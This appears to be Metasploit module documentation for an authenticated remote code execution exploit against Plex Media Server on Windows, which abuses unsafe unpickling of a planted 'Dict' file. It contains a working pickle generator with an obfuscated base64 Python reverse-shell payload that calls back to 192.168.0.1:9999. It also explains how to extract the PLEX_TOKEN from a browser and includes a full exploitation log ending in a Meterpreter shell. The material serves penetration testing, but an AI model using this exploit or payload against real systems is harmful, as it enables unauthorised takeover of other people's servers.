5.7 KiB
Vulnerable Application
This module exploits an authenticated Python unsafe pickle.load of a
Dict file. An authenticated attacker can create a photo library and
add arbitrary files to it. After setting the Windows only Plex
variable LocalAppDataPath to the newly created photo library, a file
named Dict will be unpickled, which causes an RCE as the user who
started Plex.
If an exploit fails, or is cancelled, Dict is
left on disk, a new ALBUM_NAME will be required as subsuquent writes
will make Dict-1, and not execute.
A vulnerable version of the software can be downloaded from uptodown.com, specifically 1.18.5.2309 is vulnerable and used for developing the module.
The plex server needs to be claimed by an account (free is ok), and the module PLEX_TOKEN option
needs permission to create a library, and upload files to it.
Pickle Stub
This exploit requires a python pickle file which can be generated with the following code:
import pickle
class EP(object):
def __init__(self):
pass
def __reduce__(self):
# for generating an approximately correct size and content, we use
# msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
# that payload is then added after runsource.
# The original pre-meterp return would be
# return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))
e = EP()
pickle.dumps(e)
Pickle Gotchas
All the examples of Evil Pickle attacks seem to call one command/function. 1, 2, 3, 4
However, @acammack-r7 suggested a way around this. using the InteractiveInterpreter.
Credit to them for this original code:
>>> class Bad(object):
... def __reduce__(self):
... return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"print('ok')\", '<input>', 'exec')",))
...
>>> x = Bad()
>>> s = pickle.dumps(x)
>>> pickle.loads(s)
ok
False
Verification Steps
- Install the application on an internet-connected host
- Complete configuration in the browser that pops up
- Register/Connect it to a Plex account (Free or Plex Pass)
- Start msfconsole
- Do:
use windows/http/plex_unpickle_dict_rce - Do:
run - You should get a shell.
Options
ALBUM_NAME
Name of the photo album to create. Default is random 6 character.
LIBRARY_PATH
The path to write the photo library to. Must be valid. Default is C:\\Users\\Public
PLEX_TOKEN
The X-Plex-Token value from requests from an authenticated session.
There are multiple ways to obtain this value. The easiest is most likely opening the
Console on your web browser (F12) and typing window.localStorage.myPlexAccessToken.
However, it can also be obtained from
plex library files
or by following this comment
REBOOT_SLEEP
Amount of seconds to sleep waiting on the server to reboot. In testing 10 seemed to be OK, default is 15.
Scenarios
Plex 10.0.16299 on Windows 10 16299
```
[*] Processing plex.rb for ERB directives.
resource (plex.rb)> use exploit/windows/http/plex_unpickle_dict_rce
resource (plex.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (plex.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (plex.rb)> set PLEX_TOKEN aa1g1aa3aaHbAtPBsEG7
PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7
resource (plex.rb)> set verbose true
verbose => true
msf5 exploit(windows/http/plex_unpickle_dict_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Gathering Plex Config
[*] Server Name: EXPLOITABLE -win10
[+] Server OS: Windows (10.0 (Build 16299))
[+] Server Version: 1.18.5.2309-f5213a238
[+] Camera Upload: 1
[*] Using album name: TAtPGj
[*] Adding new photo library
[+] Created Photo Library: 163
[*] Adding pickled Dict to library
[*] Changing AppPath
[*] Restarting Plex
[*] Sending stage (53755 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:51092) at 2020-07-03 14:13:08 -0400
[*] Sleeping 15 seconds for server restart
[*] Cleanup Phase: Reverting changes from exploitation
[*] Changing AppPath
[*] Restarting Plex
[*] Deleting Photo Library
meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer : win10prolicensed
OS : Windows 10 (Build 16299)
Architecture : x64
System Language : en_US
Meterpreter : python/windows
meterpreter > pwd
\\?\C:\Users\Public\TAtPGj\Plex Media Server\Plug-in Support\Data\com.plexapp.system
```